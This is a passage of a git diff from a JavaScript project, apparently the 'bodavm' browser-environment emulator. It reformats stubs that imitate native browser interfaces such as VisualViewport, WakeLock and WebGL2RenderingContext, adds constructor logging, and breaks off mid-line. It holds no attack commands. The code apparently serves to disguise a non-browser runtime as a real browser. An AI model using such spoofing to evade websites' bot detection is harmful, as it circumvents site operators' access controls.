+bodavm.toolsFunc.defineProperty('ViewTransition', "updateCallbackDone", { + configurable: true, + enumerable: true, + get: function updateCallbackDone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "updateCallbackDone_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ViewTransition', "skipTransition", { + configurable: true, + enumerable: true, + writable: true, + value: function skipTransition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "skipTransition", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VirtualKeyboard.js b/env_xbb_lastest_jsdom/env/VirtualKeyboard.js index 6f393e84..8f6187bd 100644 --- a/env_xbb_lastest_jsdom/env/VirtualKeyboard.js +++ b/env_xbb_lastest_jsdom/env/VirtualKeyboard.js @@ -1,10 +1,63 @@ -// VirtualKeyboard对象 -bodavm.memory.globalobj['VirtualKeyboard'] = function VirtualKeyboard(){if (!(this instanceof VirtualKeyboard)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboard'], "VirtualKeyboard"); -bodavm.memory.globalobj['VirtualKeyboard'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VirtualKeyboard'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "boundingRect", {configurable:true, enumerable:true, get:function boundingRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "boundingRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "overlaysContent", {configurable:true, enumerable:true, get:function overlaysContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_get", arguments)}, set:function overlaysContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "ongeometrychange", {configurable:true, enumerable:true, get:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_get", arguments)}, set:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "hide", {configurable:true, enumerable:true, writable:true, value:function hide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "hide", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "show", {configurable:true, enumerable:true, writable:true, value:function show (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "show", arguments)}},'prototype'); +// VirtualKeyboard对象 + +bodavm.memory.globalobj['VirtualKeyboard'] = function VirtualKeyboard() { + console.log_copy('VirtualKeyboard 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VirtualKeyboard)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboard'], "VirtualKeyboard"); +bodavm.memory.globalobj['VirtualKeyboard'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VirtualKeyboard'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "boundingRect", { + configurable: true, + enumerable: true, + get: function boundingRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "boundingRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "overlaysContent", { + configurable: true, + enumerable: true, + get: function overlaysContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_get", arguments); + }, + set: function overlaysContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "ongeometrychange", { + configurable: true, + enumerable: true, + get: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_get", arguments); + }, + set: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "hide", { + configurable: true, + enumerable: true, + writable: true, + value: function hide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "hide", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "show", { + configurable: true, + enumerable: true, + writable: true, + value: function show() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "show", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VirtualKeyboardGeometryChangeEvent.js b/env_xbb_lastest_jsdom/env/VirtualKeyboardGeometryChangeEvent.js index 5ec07a1c..0853db05 100644 --- a/env_xbb_lastest_jsdom/env/VirtualKeyboardGeometryChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/VirtualKeyboardGeometryChangeEvent.js @@ -1,5 +1,19 @@ -// VirtualKeyboardGeometryChangeEvent对象 -bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'] = function VirtualKeyboardGeometryChangeEvent(){if (!(this instanceof VirtualKeyboardGeometryChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VirtualKeyboardGeometryChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'], "VirtualKeyboardGeometryChangeEvent"); -bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; +// VirtualKeyboardGeometryChangeEvent对象 + +bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'] = function VirtualKeyboardGeometryChangeEvent() { + console.log_copy('VirtualKeyboardGeometryChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VirtualKeyboardGeometryChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VirtualKeyboardGeometryChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'], "VirtualKeyboardGeometryChangeEvent"); +bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VisualViewport.js b/env_xbb_lastest_jsdom/env/VisualViewport.js index 2b9563d6..38f53b95 100644 --- a/env_xbb_lastest_jsdom/env/VisualViewport.js +++ b/env_xbb_lastest_jsdom/env/VisualViewport.js @@ -1,19 +1,102 @@ -// VisualViewport对象 -bodavm.memory.globalobj['VisualViewport'] = function VisualViewport(){if (!(this instanceof VisualViewport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VisualViewport'], "VisualViewport"); -bodavm.memory.globalobj['VisualViewport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VisualViewport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VisualViewport', "offsetLeft", {configurable:true, enumerable:true, get:function offsetLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "offsetTop", {configurable:true, enumerable:true, get:function offsetTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "pageLeft", {configurable:true, enumerable:true, get:function pageLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "pageTop", {configurable:true, enumerable:true, get:function pageTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "scale", {configurable:true, enumerable:true, get:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "scale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_set", arguments)}},'prototype'); -// visualViewport对象 -bodavm.memory.globalobj['visualViewport'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['visualViewport'].__proto__=bodavm.memory.globalobj['VisualViewport'].prototype; +// VisualViewport对象 + +bodavm.memory.globalobj['VisualViewport'] = function VisualViewport() { + console.log_copy('VisualViewport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VisualViewport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VisualViewport'], "VisualViewport"); +bodavm.memory.globalobj['VisualViewport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VisualViewport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VisualViewport', "offsetLeft", { + configurable: true, + enumerable: true, + get: function offsetLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "offsetTop", { + configurable: true, + enumerable: true, + get: function offsetTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "pageLeft", { + configurable: true, + enumerable: true, + get: function pageLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "pageTop", { + configurable: true, + enumerable: true, + get: function pageTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "scale", { + configurable: true, + enumerable: true, + get: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "scale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_set", arguments); + } +}, 'prototype'); + +// visualViewport对象 + +bodavm.memory.globalobj['visualViewport'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['visualViewport'].__proto__ = bodavm.memory.globalobj['VisualViewport'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WakeLock.js b/env_xbb_lastest_jsdom/env/WakeLock.js index 097e5673..2a0293a4 100644 --- a/env_xbb_lastest_jsdom/env/WakeLock.js +++ b/env_xbb_lastest_jsdom/env/WakeLock.js @@ -1,4 +1,25 @@ -// WakeLock对象 -bodavm.memory.globalobj['WakeLock'] = function WakeLock(){if (!(this instanceof WakeLock)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLock'], "WakeLock"); -bodavm.toolsFunc.defineProperty('WakeLock', "request", {configurable:true, enumerable:true, writable:true, value:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLock'].prototype, "WakeLock", "request", arguments)}},'prototype'); +// WakeLock对象 + +bodavm.memory.globalobj['WakeLock'] = function WakeLock() { + console.log_copy('WakeLock 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WakeLock)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLock'], "WakeLock"); +bodavm.toolsFunc.defineProperty('WakeLock', "request", { + configurable: true, + enumerable: true, + writable: true, + value: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLock'].prototype, "WakeLock", "request", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WakeLockSentinel.js b/env_xbb_lastest_jsdom/env/WakeLockSentinel.js index e2ca2f4a..56bb0349 100644 --- a/env_xbb_lastest_jsdom/env/WakeLockSentinel.js +++ b/env_xbb_lastest_jsdom/env/WakeLockSentinel.js @@ -1,9 +1,53 @@ -// WakeLockSentinel对象 -bodavm.memory.globalobj['WakeLockSentinel'] = function WakeLockSentinel(){if (!(this instanceof WakeLockSentinel)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLockSentinel'], "WakeLockSentinel"); -bodavm.memory.globalobj['WakeLockSentinel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WakeLockSentinel'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "onrelease", {configurable:true, enumerable:true, get:function onrelease (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_get", arguments)}, set:function onrelease (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "released", {configurable:true, enumerable:true, get:function released (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "released_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "release", {configurable:true, enumerable:true, writable:true, value:function release (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "release", arguments)}},'prototype'); +// WakeLockSentinel对象 + +bodavm.memory.globalobj['WakeLockSentinel'] = function WakeLockSentinel() { + console.log_copy('WakeLockSentinel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WakeLockSentinel)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLockSentinel'], "WakeLockSentinel"); +bodavm.memory.globalobj['WakeLockSentinel'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WakeLockSentinel'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "onrelease", { + configurable: true, + enumerable: true, + get: function onrelease() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_get", arguments); + }, + set: function onrelease() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "released", { + configurable: true, + enumerable: true, + get: function released() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "released_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "release", { + configurable: true, + enumerable: true, + writable: true, + value: function release() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "release", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WaveShaperNode.js b/env_xbb_lastest_jsdom/env/WaveShaperNode.js index 9778953d..49b6c14e 100644 --- a/env_xbb_lastest_jsdom/env/WaveShaperNode.js +++ b/env_xbb_lastest_jsdom/env/WaveShaperNode.js @@ -1,7 +1,39 @@ -// WaveShaperNode对象 -bodavm.memory.globalobj['WaveShaperNode'] = function WaveShaperNode(){if (!(this instanceof WaveShaperNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WaveShaperNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WaveShaperNode'], "WaveShaperNode"); -bodavm.memory.globalobj['WaveShaperNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['WaveShaperNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('WaveShaperNode', "curve", {configurable:true, enumerable:true, get:function curve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_get", arguments)}, set:function curve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WaveShaperNode', "oversample", {configurable:true, enumerable:true, get:function oversample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_get", arguments)}, set:function oversample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_set", arguments)}},'prototype'); +// WaveShaperNode对象 + +bodavm.memory.globalobj['WaveShaperNode'] = function WaveShaperNode() { + console.log_copy('WaveShaperNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WaveShaperNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WaveShaperNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WaveShaperNode'], "WaveShaperNode"); +bodavm.memory.globalobj['WaveShaperNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['WaveShaperNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('WaveShaperNode', "curve", { + configurable: true, + enumerable: true, + get: function curve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_get", arguments); + }, + set: function curve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WaveShaperNode', "oversample", { + configurable: true, + enumerable: true, + get: function oversample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_get", arguments); + }, + set: function oversample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGL2RenderingContext.js b/env_xbb_lastest_jsdom/env/WebGL2RenderingContext.js index 478a5131..72a56c35 100644 --- a/env_xbb_lastest_jsdom/env/WebGL2RenderingContext.js +++ b/env_xbb_lastest_jsdom/env/WebGL2RenderingContext.js @@ -1,1351 +1,8569 @@ -// WebGL2RenderingContext对象 -bodavm.memory.globalobj['WebGL2RenderingContext'] = function WebGL2RenderingContext(){if (!(this instanceof WebGL2RenderingContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGL2RenderingContext'], "WebGL2RenderingContext"); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, 